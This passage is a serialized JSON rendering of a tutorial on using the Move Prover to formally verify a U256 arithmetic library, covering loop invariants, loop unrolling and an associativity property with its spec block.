{\n",{"type":21,"tag":85,"props":11695,"children":11696},{"class":87,"line":1100},[11697,11702,11706,11710],{"type":21,"tag":85,"props":11698,"children":11699},{"style":114},[11700],{"type":26,"value":11701},"      vector",{"type":21,"tag":85,"props":11703,"children":11704},{"style":169},[11705],{"type":26,"value":1087},{"type":21,"tag":85,"props":11707,"children":11708},{"style":1021},[11709],{"type":26,"value":3118},{"type":21,"tag":85,"props":11711,"children":11712},{"style":114},[11713],{"type":26,"value":1029},{"type":21,"tag":85,"props":11715,"children":11716},{"class":87,"line":1339},[11717,11722,11726,11730],{"type":21,"tag":85,"props":11718,"children":11719},{"style":169},[11720],{"type":26,"value":11721},"          &",{"type":21,"tag":85,"props":11723,"children":11724},{"style":102},[11725],{"type":26,"value":2039},{"type":21,"tag":85,"props":11727,"children":11728},{"style":120},[11729],{"type":26,"value":2779},{"type":21,"tag":85,"props":11731,"children":11732},{"style":114},[11733],{"type":26,"value":182},{"type":21,"tag":85,"props":11735,"children":11736},{"class":87,"line":1348},[11737,11741,11745,11749,11753,11757,11761,11765,11769,11773,11777,11781,11785,11789,11793,11797,11801,11805,11809,11813,11817,11821],{"type":21,"tag":85,"props":11738,"children":11739},{"style":114},[11740],{"type":26,"value":3076},{"type":21,"tag":85,"props":11742,"children":11743},{"style":169},[11744],{"type":26,"value":3052},{"type":21,"tag":85,"props":11746,"children":11747},{"style":114},[11748],{"type":26,"value":3160},{"type":21,"tag":85,"props":11750,"children":11751},{"style":169},[11752],{"type":26,"value":1087},{"type":21,"tag":85,"props":11754,"children":11755},{"style":1021},[11756],{"type":26,"value":3169},{"type":21,"tag":85,"props":11758,"children":11759},{"style":114},[11760],{"type":26,"value":1439},{"type":21,"tag":85,"props":11762,"children":11763},{"style":169},[11764],{"type":26,"value":2238},{"type":21,"tag":85,"props":11766,"children":11767},{"style":120},[11768],{"type":26,"value":2724},{"type":21,"tag":85,"props":11770,"children":11771},{"style":114},[11772],{"type":26,"value":3186},{"type":21,"tag":85,"props":11774,"children":11775},{"style":120},[11776],{"type":26,"value":3003},{"type":21,"tag":85,"props":11778,"children":11779},{"style":102},[11780],{"type":26,"value":3195},{"type":21,"tag":85,"props":11782,"children":11783},{"style":108},[11784],{"type":26,"value":177},{"type":21,"tag":85,"props":11786,"children":11787},{"style":114},[11788],{"type":26,"value":3204},{"type":21,"tag":85,"props":11790,"children":11791},{"style":102},[11792],{"type":26,"value":3209},{"type":21,"tag":85,"props":11794,"children":11795},{"style":108},[11796],{"type":26,"value":3214},{"type":21,"tag":85,"props":11798,"children":11799},{"style":114},[11800],{"type":26,"value":736},{"type":21,"tag":85,"props":11802,"children":11803},{"style":169},[11804],{"type":26,"value":3052},{"type":21,"tag":85,"props":11806,"children":11807},{"style":114},[11808],{"type":26,"value":717},{"type":21,"tag":85,"props":11810,"children":11811},{"style":120},[11812],{"type":26,"value":3231},{"type":21,"tag":85,"props":11814,"children":11815},{"style":102},[11816],{"type":26,"value":3195},{"type":21,"tag":85,"props":11818,"children":11819},{"style":108},[11820],{"type":26,"value":3214},{"type":21,"tag":85,"props":11822,"children":11823},{"style":114},[11824],{"type":26,"value":2485},{"type":21,"tag":85,"props":11826,"children":11827},{"class":87,"line":1386},[11828],{"type":21,"tag":85,"props":11829,"children":11830},{"style":114},[11831],{"type":26,"value":1106},{"type":21,"tag":85,"props":11833,"children":11834},{"class":87,"line":1394},[11835,11840,11844,11848,11852,11856],{"type":21,"tag":85,"props":11836,"children":11837},{"style":120},[11838],{"type":26,"value":11839},"      i",{"type":21,"tag":85,"props":11841,"children":11842},{"style":169},[11843],{"type":26,"value":1941},{"type":21,"tag":85,"props":11845,"children":11846},{"style":120},[11847],{"type":26,"value":2821},{"type":21,"tag":85,"props":11849,"children":11850},{"style":169},[11851],{"type":26,"value":3274},{"type":21,"tag":85,"props":11853,"children":11854},{"style":2285},[11855],{"type":26,"value":3279},{"type":21,"tag":85,"props":11857,"children":11858},{"style":114},[11859],{"type":26,"value":2535},{"type":21,"tag":85,"props":11861,"children":11862},{"class":87,"line":1402},[11863],{"type":21,"tag":85,"props":11864,"children":11865},{"style":114},[11866],{"type":26,"value":11867},"  };\n",{"type":21,"tag":22,"props":11869,"children":11870},{},[11871,11873,11879,11881,11886,11888,11894],{"type":26,"value":11872},"In this case, the brackets specify the loop invariant for the ",{"type":21,"tag":66,"props":11874,"children":11876},{"className":11875},[],[11877],{"type":26,"value":11878},"while",{"type":26,"value":11880}," loop. Note that because the loop invariant executes ",{"type":21,"tag":39,"props":11882,"children":11883},{},[11884],{"type":26,"value":11885},"after",{"type":26,"value":11887}," the loop guard, so we need to account for an extra step with ",{"type":21,"tag":66,"props":11889,"children":11891},{"className":11890},[],[11892],{"type":26,"value":11893},"i \u003C= n_coins",{"type":26,"value":73},{"type":21,"tag":75,"props":11896,"children":11898},{"code":11897,"language":79,"meta":7,"className":77,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[11899],{"type":21,"tag":66,"props":11900,"children":11901},{"__ignoreMap":7},[11902,11913,11924,11959,11982,12065,12072,12095],{"type":21,"tag":85,"props":11903,"children":11904},{"class":87,"line":88},[11905,11909],{"type":21,"tag":85,"props":11906,"children":11907},{"style":2885},[11908],{"type":26,"value":11497},{"type":21,"tag":85,"props":11910,"children":11911},{"style":114},[11912],{"type":26,"value":2893},{"type":21,"tag":85,"props":11914,"children":11915},{"class":87,"line":98},[11916,11920],{"type":21,"tag":85,"props":11917,"children":11918},{"style":120},[11919],{"type":26,"value":3301},{"type":21,"tag":85,"props":11921,"children":11922},{"style":114},[11923],{"type":26,"value":148},{"type":21,"tag":85,"props":11925,"children":11926},{"class":87,"line":151},[11927,11931,11935,11939,11943,11947,11951,11955],{"type":21,"tag":85,"props":11928,"children":11929},{"style":120},[11930],{"type":26,"value":11520},{"type":21,"tag":85,"props":11932,"children":11933},{"style":1021},[11934],{"type":26,"value":2918},{"type":21,"tag":85,"props":11936,"children":11937},{"style":114},[11938],{"type":26,"value":1439},{"type":21,"tag":85,"props":11940,"children":11941},{"style":120},[11942],{"type":26,"value":2927},{"type":21,"tag":85,"props":11944,"children":11945},{"style":114},[11946],{"type":26,"value":736},{"type":21,"tag":85,"props":11948,"children":11949},{"style":169},[11950],{"type":26,"value":2936},{"type":21,"tag":85,"props":11952,"children":11953},{"style":120},[11954],{"type":26,"value":2821},{"type":21,"tag":85,"props":11956,"children":11957},{"style":114},[11958],{"type":26,"value":2535},{"type":21,"tag":85,"props":11960,"children":11961},{"class":87,"line":160},[11962,11966,11970,11974,11978],{"type":21,"tag":85,"props":11963,"children":11964},{"style":120},[11965],{"type":26,"value":11520},{"type":21,"tag":85,"props":11967,"children":11968},{"style":120},[11969],{"type":26,"value":2821},{"type":21,"tag":85,"props":11971,"children":11972},{"style":169},[11973],{"type":26,"value":2553},{"type":21,"tag":85,"props":11975,"children":11976},{"style":120},[11977],{"type":26,"value":2846},{"type":21,"tag":85,"props":11979,"children":11980},{"style":114},[11981],{"type":26,"value":2535},{"type":21,"tag":85,"props":11983,"children":11984},{"class":87,"line":185},[11985,11989,11993,11997,12001,12005,12009,12013,12017,12021,12025,12029,12033,12037,12041,12045,12049,12053,12057,12061],{"type":21,"tag":85,"props":11986,"children":11987},{"style":120},[11988],{"type":26,"value":11520},{"type":21,"tag":85,"props":11990,"children":11991},{"style":120},[11992],{"type":26,"value":2979},{"type":21,"tag":85,"props":11994,"children":11995},{"style":120},[11996],{"type":26,"value":2984},{"type":21,"tag":85,"props":11998,"children":11999},{"style":102},[12000],{"type":26,"value":2989},{"type":21,"tag":85,"props":12002,"children":12003},{"style":2285},[12004],{"type":26,"value":2830},{"type":21,"tag":85,"props":12006,"children":12007},{"style":169},[12008],{"type":26,"value":2998},{"type":21,"tag":85,"props":12010,"children":12011},{"style":120},[12012],{"type":26,"value":3003},{"type":21,"tag":85,"props":12014,"children":12015},{"style":169},[12016],{"type":26,"value":172},{"type":21,"tag":85,"props":12018,"children":12019},{"style":120},[12020],{"type":26,"value":2779},{"type":21,"tag":85,"props":12022,"children":12023},{"style":114},[12024],{"type":26,"value":3016},{"type":21,"tag":85,"props":12026,"children":12027},{"style":120},[12028],{"type":26,"value":3021},{"type":21,"tag":85,"props":12030,"children":12031},{"style":114},[12032],{"type":26,"value":3026},{"type":21,"tag":85,"props":12034,"children":12035},{"style":169},[12036],{"type":26,"value":2936},{"type":21,"tag":85,"props":12038,"children":12039},{"style":120},[12040],{"type":26,"value":3035},{"type":21,"tag":85,"props":12042,"children":12043},{"style":114},[12044],{"type":26,"value":3016},{"type":21,"tag":85,"props":12046,"children":12047},{"style":120},[12048],{"type":26,"value":3021},{"type":21,"tag":85,"props":12050,"children":12051},{"style":114},[12052],{"type":26,"value":3026},{"type":21,"tag":85,"props":12054,"children":12055},{"style":169},[12056],{"type":26,"value":3052},{"type":21,"tag":85,"props":12058,"children":12059},{"style":120},[12060],{"type":26,"value":2846},{"type":21,"tag":85,"props":12062,"children":12063},{"style":114},[12064],{"type":26,"value":2535},{"type":21,"tag":85,"props":12066,"children":12067},{"class":87,"line":501},[12068],{"type":21,"tag":85,"props":12069,"children":12070},{"style":114},[12071],{"type":26,"value":3292},{"type":21,"tag":85,"props":12073,"children":12074},{"class":87,"line":697},[12075,12079,12083,12087,12091],{"type":21,"tag":85,"props":12076,"children":12077},{"style":114},[12078],{"type":26,"value":11669},{"type":21,"tag":85,"props":12080,"children":12081},{"style":120},[12082],{"type":26,"value":3003},{"type":21,"tag":85,"props":12084,"children":12085},{"style":169},[12086],{"type":26,"value":3085},{"type":21,"tag":85,"props":12088,"children":12089},{"style":120},[12090],{"type":26,"value":2846},{"type":21,"tag":85,"props":12092,"children":12093},{"style":114},[12094],{"type":26,"value":2485},{"type":21,"tag":85,"props":12096,"children":12097},{"class":87,"line":706},[12098],{"type":21,"tag":85,"props":12099,"children":12100},{"style":114},[12101],{"type":26,"value":11693},{"type":21,"tag":22,"props":12103,"children":12104},{},[12105],{"type":26,"value":12106},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":21,"tag":22,"props":12108,"children":12109},{},[12110,12112,12117],{"type":26,"value":12111},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":21,"tag":66,"props":12113,"children":12115},{"className":12114},[],[12116],{"type":26,"value":10052},{"type":26,"value":12118}," function will always iterate exactly 4 times:",{"type":21,"tag":75,"props":12120,"children":12122},{"code":12121,"language":79,"meta":7,"className":77,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[12123],{"type":21,"tag":66,"props":12124,"children":12125},{"__ignoreMap":7},[12126,12134,12167,12174,12190,12197,12221,12245,12290,12334,12341],{"type":21,"tag":85,"props":12127,"children":12128},{"class":87,"line":88},[12129],{"type":21,"tag":85,"props":12130,"children":12131},{"style":92},[12132],{"type":26,"value":12133},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":21,"tag":85,"props":12135,"children":12136},{"class":87,"line":98},[12137,12141,12146,12150,12154,12158,12163],{"type":21,"tag":85,"props":12138,"children":12139},{"style":102},[12140],{"type":26,"value":10069},{"type":21,"tag":85,"props":12142,"children":12143},{"style":114},[12144],{"type":26,"value":12145}," WORDS",{"type":21,"tag":85,"props":12147,"children":12148},{"style":169},[12149],{"type":26,"value":172},{"type":21,"tag":85,"props":12151,"children":12152},{"style":108},[12153],{"type":26,"value":177},{"type":21,"tag":85,"props":12155,"children":12156},{"style":169},[12157],{"type":26,"value":1941},{"type":21,"tag":85,"props":12159,"children":12160},{"style":2285},[12161],{"type":26,"value":12162}," 4",{"type":21,"tag":85,"props":12164,"children":12165},{"style":114},[12166],{"type":26,"value":2535},{"type":21,"tag":85,"props":12168,"children":12169},{"class":87,"line":151},[12170],{"type":21,"tag":85,"props":12171,"children":12172},{"emptyLinePlaceholder":16},[12173],{"type":26,"value":703},{"type":21,"tag":85,"props":12175,"children":12176},{"class":87,"line":160},[12177,12181,12185],{"type":21,"tag":85,"props":12178,"children":12179},{"style":114},[12180],{"type":26,"value":3016},{"type":21,"tag":85,"props":12182,"children":12183},{"style":169},[12184],{"type":26,"value":10004},{"type":21,"tag":85,"props":12186,"children":12187},{"style":114},[12188],{"type":26,"value":12189},"]\n",{"type":21,"tag":85,"props":12191,"children":12192},{"class":87,"line":185},[12193],{"type":21,"tag":85,"props":12194,"children":12195},{"emptyLinePlaceholder":16},[12196],{"type":26,"value":703},{"type":21,"tag":85,"props":12198,"children":12199},{"class":87,"line":501},[12200,12205,12209,12213,12217],{"type":21,"tag":85,"props":12201,"children":12202},{"style":102},[12203],{"type":26,"value":12204},"let",{"type":21,"tag":85,"props":12206,"children":12207},{"style":120},[12208],{"type":26,"value":2821},{"type":21,"tag":85,"props":12210,"children":12211},{"style":169},[12212],{"type":26,"value":1941},{"type":21,"tag":85,"props":12214,"children":12215},{"style":2285},[12216],{"type":26,"value":2830},{"type":21,"tag":85,"props":12218,"children":12219},{"style":114},[12220],{"type":26,"value":2535},{"type":21,"tag":85,"props":12222,"children":12223},{"class":87,"line":697},[12224,12228,12232,12236,12240],{"type":21,"tag":85,"props":12225,"children":12226},{"style":2885},[12227],{"type":26,"value":11878},{"type":21,"tag":85,"props":12229,"children":12230},{"style":114},[12231],{"type":26,"value":717},{"type":21,"tag":85,"props":12233,"children":12234},{"style":120},[12235],{"type":26,"value":3003},{"type":21,"tag":85,"props":12237,"children":12238},{"style":169},[12239],{"type":26,"value":3085},{"type":21,"tag":85,"props":12241,"children":12242},{"style":114},[12243],{"type":26,"value":12244}," WORDS) {\n",{"type":21,"tag":85,"props":12246,"children":12247},{"class":87,"line":706},[12248,12252,12257,12261,12266,12270,12274,12278,12282,12286],{"type":21,"tag":85,"props":12249,"children":12250},{"style":102},[12251],{"type":26,"value":3778},{"type":21,"tag":85,"props":12253,"children":12254},{"style":120},[12255],{"type":26,"value":12256}," a1",{"type":21,"tag":85,"props":12258,"children":12259},{"style":169},[12260],{"type":26,"value":1941},{"type":21,"tag":85,"props":12262,"children":12263},{"style":1021},[12264],{"type":26,"value":12265}," get",{"type":21,"tag":85,"props":12267,"children":12268},{"style":114},[12269],{"type":26,"value":1439},{"type":21,"tag":85,"props":12271,"children":12272},{"style":169},[12273],{"type":26,"value":2238},{"type":21,"tag":85,"props":12275,"children":12276},{"style":120},[12277],{"type":26,"value":335},{"type":21,"tag":85,"props":12279,"children":12280},{"style":114},[12281],{"type":26,"value":256},{"type":21,"tag":85,"props":12283,"children":12284},{"style":120},[12285],{"type":26,"value":3003},{"type":21,"tag":85,"props":12287,"children":12288},{"style":114},[12289],{"type":26,"value":777},{"type":21,"tag":85,"props":12291,"children":12292},{"class":87,"line":1100},[12293,12297,12302,12306,12310,12314,12318,12322,12326,12330],{"type":21,"tag":85,"props":12294,"children":12295},{"style":102},[12296],{"type":26,"value":3778},{"type":21,"tag":85,"props":12298,"children":12299},{"style":120},[12300],{"type":26,"value":12301}," b1",{"type":21,"tag":85,"props":12303,"children":12304},{"style":169},[12305],{"type":26,"value":1941},{"type":21,"tag":85,"props":12307,"children":12308},{"style":1021},[12309],{"type":26,"value":12265},{"type":21,"tag":85,"props":12311,"children":12312},{"style":114},[12313],{"type":26,"value":1439},{"type":21,"tag":85,"props":12315,"children":12316},{"style":169},[12317],{"type":26,"value":2238},{"type":21,"tag":85,"props":12319,"children":12320},{"style":120},[12321],{"type":26,"value":3994},{"type":21,"tag":85,"props":12323,"children":12324},{"style":114},[12325],{"type":26,"value":256},{"type":21,"tag":85,"props":12327,"children":12328},{"style":120},[12329],{"type":26,"value":3003},{"type":21,"tag":85,"props":12331,"children":12332},{"style":114},[12333],{"type":26,"value":777},{"type":21,"tag":85,"props":12335,"children":12336},{"class":87,"line":1339},[12337],{"type":21,"tag":85,"props":12338,"children":12339},{"emptyLinePlaceholder":16},[12340],{"type":26,"value":703},{"type":21,"tag":85,"props":12342,"children":12343},{"class":87,"line":1348},[12344,12348,12352],{"type":21,"tag":85,"props":12345,"children":12346},{"style":114},[12347],{"type":26,"value":3016},{"type":21,"tag":85,"props":12349,"children":12350},{"style":169},[12351],{"type":26,"value":10004},{"type":21,"tag":85,"props":12353,"children":12354},{"style":114},[12355],{"type":26,"value":12189},{"type":21,"tag":22,"props":12357,"children":12358},{},[12359],{"type":26,"value":12360},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":21,"tag":75,"props":12362,"children":12364},{"code":12363},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[12365],{"type":21,"tag":66,"props":12366,"children":12367},{"__ignoreMap":7},[12368],{"type":26,"value":12363},{"type":21,"tag":22,"props":12370,"children":12371},{},[12372,12374,12379,12380,12386],{"type":26,"value":12373},"For the ",{"type":21,"tag":873,"props":12375,"children":12376},{},[12377],{"type":26,"value":12378},"Associative Property",{"type":26,"value":717},{"type":21,"tag":66,"props":12381,"children":12383},{"className":12382},[],[12384],{"type":26,"value":12385},"a+(b+c) = (a+b)+c",{"type":26,"value":12387},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":21,"tag":75,"props":12389,"children":12391},{"code":12390,"language":79,"meta":7,"className":77,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[12392],{"type":21,"tag":66,"props":12393,"children":12394},{"__ignoreMap":7},[12395,12472,12511,12552,12591,12632,12639,12689,12729],{"type":21,"tag":85,"props":12396,"children":12397},{"class":87,"line":88},[12398,12402,12407,12411,12415,12419,12423,12427,12431,12435,12439,12443,12447,12451,12455,12459,12463,12468],{"type":21,"tag":85,"props":12399,"children":12400},{"style":120},[12401],{"type":26,"value":1453},{"type":21,"tag":85,"props":12403,"children":12404},{"style":1021},[12405],{"type":26,"value":12406}," add_assoc_property",{"type":21,"tag":85,"props":12408,"children":12409},{"style":114},[12410],{"type":26,"value":1439},{"type":21,"tag":85,"props":12412,"children":12413},{"style":120},[12414],{"type":26,"value":335},{"type":21,"tag":85,"props":12416,"children":12417},{"style":169},[12418],{"type":26,"value":172},{"type":21,"tag":85,"props":12420,"children":12421},{"style":108},[12422],{"type":26,"value":5499},{"type":21,"tag":85,"props":12424,"children":12425},{"style":114},[12426],{"type":26,"value":256},{"type":21,"tag":85,"props":12428,"children":12429},{"style":120},[12430],{"type":26,"value":3994},{"type":21,"tag":85,"props":12432,"children":12433},{"style":169},[12434],{"type":26,"value":172},{"type":21,"tag":85,"props":12436,"children":12437},{"style":108},[12438],{"type":26,"value":5499},{"type":21,"tag":85,"props":12440,"children":12441},{"style":114},[12442],{"type":26,"value":256},{"type":21,"tag":85,"props":12444,"children":12445},{"style":120},[12446],{"type":26,"value":3918},{"type":21,"tag":85,"props":12448,"children":12449},{"style":169},[12450],{"type":26,"value":172},{"type":21,"tag":85,"props":12452,"children":12453},{"style":108},[12454],{"type":26,"value":5499},{"type":21,"tag":85,"props":12456,"children":12457},{"style":114},[12458],{"type":26,"value":1900},{"type":21,"tag":85,"props":12460,"children":12461},{"style":169},[12462],{"type":26,"value":172},{"type":21,"tag":85,"props":12464,"children":12465},{"style":108},[12466],{"type":26,"value":12467}," bool",{"type":21,"tag":85,"props":12469,"children":12470},{"style":114},[12471],{"type":26,"value":148},{"type":21,"tag":85,"props":12473,"children":12474},{"class":87,"line":98},[12475,12479,12483,12487,12491,12495,12499,12503,12507],{"type":21,"tag":85,"props":12476,"children":12477},{"style":102},[12478],{"type":26,"value":3778},{"type":21,"tag":85,"props":12480,"children":12481},{"style":120},[12482],{"type":26,"value":2548},{"type":21,"tag":85,"props":12484,"children":12485},{"style":169},[12486],{"type":26,"value":1941},{"type":21,"tag":85,"props":12488,"children":12489},{"style":1021},[12490],{"type":26,"value":9994},{"type":21,"tag":85,"props":12492,"children":12493},{"style":114},[12494],{"type":26,"value":1439},{"type":21,"tag":85,"props":12496,"children":12497},{"style":120},[12498],{"type":26,"value":3994},{"type":21,"tag":85,"props":12500,"children":12501},{"style":114},[12502],{"type":26,"value":256},{"type":21,"tag":85,"props":12504,"children":12505},{"style":120},[12506],{"type":26,"value":3918},{"type":21,"tag":85,"props":12508,"children":12509},{"style":114},[12510],{"type":26,"value":777},{"type":21,"tag":85,"props":12512,"children":12513},{"class":87,"line":151},[12514,12518,12523,12527,12531,12535,12539,12543,12548],{"type":21,"tag":85,"props":12515,"children":12516},{"style":102},[12517],{"type":26,"value":3778},{"type":21,"tag":85,"props":12519,"children":12520},{"style":120},[12521],{"type":26,"value":12522}," result_11",{"type":21,"tag":85,"props":12524,"children":12525},{"style":169},[12526],{"type":26,"value":1941},{"type":21,"tag":85,"props":12528,"children":12529},{"style":1021},[12530],{"type":26,"value":9994},{"type":21,"tag":85,"props":12532,"children":12533},{"style":114},[12534],{"type":26,"value":1439},{"type":21,"tag":85,"props":12536,"children":12537},{"style":120},[12538],{"type":26,"value":335},{"type":21,"tag":85,"props":12540,"children":12541},{"style":114},[12542],{"type":26,"value":256},{"type":21,"tag":85,"props":12544,"children":12545},{"style":120},[12546],{"type":26,"value":12547},"result_1",{"type":21,"tag":85,"props":12549,"children":12550},{"style":114},[12551],{"type":26,"value":777},{"type":21,"tag":85,"props":12553,"children":12554},{"class":87,"line":160},[12555,12559,12563,12567,12571,12575,12579,12583,12587],{"type":21,"tag":85,"props":12556,"children":12557},{"style":102},[12558],{"type":26,"value":3778},{"type":21,"tag":85,"props":12560,"children":12561},{"style":120},[12562],{"type":26,"value":2574},{"type":21,"tag":85,"props":12564,"children":12565},{"style":169},[12566],{"type":26,"value":1941},{"type":21,"tag":85,"props":12568,"children":12569},{"style":1021},[12570],{"type":26,"value":9994},{"type":21,"tag":85,"props":12572,"children":12573},{"style":114},[12574],{"type":26,"value":1439},{"type":21,"tag":85,"props":12576,"children":12577},{"style":120},[12578],{"type":26,"value":335},{"type":21,"tag":85,"props":12580,"children":12581},{"style":114},[12582],{"type":26,"value":256},{"type":21,"tag":85,"props":12584,"children":12585},{"style":120},[12586],{"type":26,"value":3994},{"type":21,"tag":85,"props":12588,"children":12589},{"style":114},[12590],{"type":26,"value":777},{"type":21,"tag":85,"props":12592,"children":12593},{"class":87,"line":185},[12594,12598,12603,12607,12611,12615,12619,12623,12628],{"type":21,"tag":85,"props":12595,"children":12596},{"style":102},[12597],{"type":26,"value":3778},{"type":21,"tag":85,"props":12599,"children":12600},{"style":120},[12601],{"type":26,"value":12602}," result_22",{"type":21,"tag":85,"props":12604,"children":12605},{"style":169},[12606],{"type":26,"value":1941},{"type":21,"tag":85,"props":12608,"children":12609},{"style":1021},[12610],{"type":26,"value":9994},{"type":21,"tag":85,"props":12612,"children":12613},{"style":114},[12614],{"type":26,"value":1439},{"type":21,"tag":85,"props":12616,"children":12617},{"style":120},[12618],{"type":26,"value":3918},{"type":21,"tag":85,"props":12620,"children":12621},{"style":114},[12622],{"type":26,"value":256},{"type":21,"tag":85,"props":12624,"children":12625},{"style":120},[12626],{"type":26,"value":12627},"result_2",{"type":21,"tag":85,"props":12629,"children":12630},{"style":114},[12631],{"type":26,"value":777},{"type":21,"tag":85,"props":12633,"children":12634},{"class":87,"line":501},[12635],{"type":21,"tag":85,"props":12636,"children":12637},{"emptyLinePlaceholder":16},[12638],{"type":26,"value":703},{"type":21,"tag":85,"props":12640,"children":12641},{"class":87,"line":697},[12642,12646,12650,12654,12659,12663,12667,12672,12676,12680,12685],{"type":21,"tag":85,"props":12643,"children":12644},{"style":102},[12645],{"type":26,"value":3778},{"type":21,"tag":85,"props":12647,"children":12648},{"style":120},[12649],{"type":26,"value":2211},{"type":21,"tag":85,"props":12651,"children":12652},{"style":169},[12653],{"type":26,"value":1941},{"type":21,"tag":85,"props":12655,"children":12656},{"style":1021},[12657],{"type":26,"value":12658}," compare",{"type":21,"tag":85,"props":12660,"children":12661},{"style":114},[12662],{"type":26,"value":1439},{"type":21,"tag":85,"props":12664,"children":12665},{"style":169},[12666],{"type":26,"value":2238},{"type":21,"tag":85,"props":12668,"children":12669},{"style":120},[12670],{"type":26,"value":12671},"result_11",{"type":21,"tag":85,"props":12673,"children":12674},{"style":114},[12675],{"type":26,"value":256},{"type":21,"tag":85,"props":12677,"children":12678},{"style":169},[12679],{"type":26,"value":2238},{"type":21,"tag":85,"props":12681,"children":12682},{"style":120},[12683],{"type":26,"value":12684},"result_22",{"type":21,"tag":85,"props":12686,"children":12687},{"style":114},[12688],{"type":26,"value":777},{"type":21,"tag":85,"props":12690,"children":12691},{"class":87,"line":706},[12692,12697,12702,12706,12710,12715,12719,12724],{"type":21,"tag":85,"props":12693,"children":12694},{"style":2885},[12695],{"type":26,"value":12696},"    if",{"type":21,"tag":85,"props":12698,"children":12699},{"style":114},[12700],{"type":26,"value":12701}," ( ",{"type":21,"tag":85,"props":12703,"children":12704},{"style":120},[12705],{"type":26,"value":2277},{"type":21,"tag":85,"props":12707,"children":12708},{"style":169},[12709],{"type":26,"value":2282},{"type":21,"tag":85,"props":12711,"children":12712},{"style":114},[12713],{"type":26,"value":12714}," EQUAL ) ",{"type":21,"tag":85,"props":12716,"children":12717},{"style":102},[12718],{"type":26,"value":4760},{"type":21,"tag":85,"props":12720,"children":12721},{"style":2885},[12722],{"type":26,"value":12723}," else",{"type":21,"tag":85,"props":12725,"children":12726},{"style":102},[12727],{"type":26,"value":12728}," false\n",{"type":21,"tag":85,"props":12730,"children":12731},{"class":87,"line":1100},[12732],{"type":21,"tag":85,"props":12733,"children":12734},{"style":114},[12735],{"type":26,"value":2671},{"type":21,"tag":22,"props":12737,"children":12738},{},[12739],{"type":26,"value":12740},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":21,"tag":75,"props":12742,"children":12744},{"code":12743,"language":79,"meta":7,"className":77,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[12745],{"type":21,"tag":66,"props":12746,"children":12747},{"__ignoreMap":7},[12748,12763,12867,12891],{"type":21,"tag":85,"props":12749,"children":12750},{"class":87,"line":88},[12751,12755,12759],{"type":21,"tag":85,"props":12752,"children":12753},{"style":120},[12754],{"type":26,"value":2631},{"type":21,"tag":85,"props":12756,"children":12757},{"style":120},[12758],{"type":26,"value":12406},{"type":21,"tag":85,"props":12760,"children":12761},{"style":114},[12762],{"type":26,"value":148},{"type":21,"tag":85,"props":12764,"children":12765},{"class":87,"line":98},[12766,12770,12774,12779,12783,12787,12791,12795,12799,12803,12807,12811,12815,12819,12823,12827,12831,12835,12839,12843,12847,12851,12855,12859,12863],{"type":21,"tag":85,"props":12767,"children":12768},{"style":120},[12769],{"type":26,"value":10317},{"type":21,"tag":85,"props":12771,"children":12772},{"style":114},[12773],{"type":26,"value":717},{"type":21,"tag":85,"props":12775,"children":12776},{"style":1021},[12777],{"type":26,"value":12778},"value_of_U256",{"type":21,"tag":85,"props":12780,"children":12781},{"style":114},[12782],{"type":26,"value":1439},{"type":21,"tag":85,"props":12784,"children":12785},{"style":120},[12786],{"type":26,"value":335},{"type":21,"tag":85,"props":12788,"children":12789},{"style":114},[12790],{"type":26,"value":736},{"type":21,"tag":85,"props":12792,"children":12793},{"style":169},[12794],{"type":26,"value":5151},{"type":21,"tag":85,"props":12796,"children":12797},{"style":1021},[12798],{"type":26,"value":10118},{"type":21,"tag":85,"props":12800,"children":12801},{"style":114},[12802],{"type":26,"value":1439},{"type":21,"tag":85,"props":12804,"children":12805},{"style":120},[12806],{"type":26,"value":3994},{"type":21,"tag":85,"props":12808,"children":12809},{"style":114},[12810],{"type":26,"value":3204},{"type":21,"tag":85,"props":12812,"children":12813},{"style":169},[12814],{"type":26,"value":5151},{"type":21,"tag":85,"props":12816,"children":12817},{"style":1021},[12818],{"type":26,"value":10118},{"type":21,"tag":85,"props":12820,"children":12821},{"style":114},[12822],{"type":26,"value":1439},{"type":21,"tag":85,"props":12824,"children":12825},{"style":120},[12826],{"type":26,"value":3918},{"type":21,"tag":85,"props":12828,"children":12829},{"style":114},[12830],{"type":26,"value":736},{"type":21,"tag":85,"props":12832,"children":12833},{"style":169},[12834],{"type":26,"value":10358},{"type":21,"tag":85,"props":12836,"children":12837},{"style":108},[12838],{"type":26,"value":10074},{"type":21,"tag":85,"props":12840,"children":12841},{"style":169},[12842],{"type":26,"value":10231},{"type":21,"tag":85,"props":12844,"children":12845},{"style":108},[12846],{"type":26,"value":10074},{"type":21,"tag":85,"props":12848,"children":12849},{"style":169},[12850],{"type":26,"value":10231},{"type":21,"tag":85,"props":12852,"children":12853},{"style":108},[12854],{"type":26,"value":10074},{"type":21,"tag":85,"props":12856,"children":12857},{"style":169},[12858],{"type":26,"value":10231},{"type":21,"tag":85,"props":12860,"children":12861},{"style":108},[12862],{"type":26,"value":10074},{"type":21,"tag":85,"props":12864,"children":12865},{"style":114},[12866],{"type":26,"value":2535},{"type":21,"tag":85,"props":12868,"children":12869},{"class":87,"line":151},[12870,12874,12878,12882,12887],{"type":21,"tag":85,"props":12871,"children":12872},{"style":120},[12873],{"type":26,"value":10615},{"type":21,"tag":85,"props":12875,"children":12876},{"style":120},[12877],{"type":26,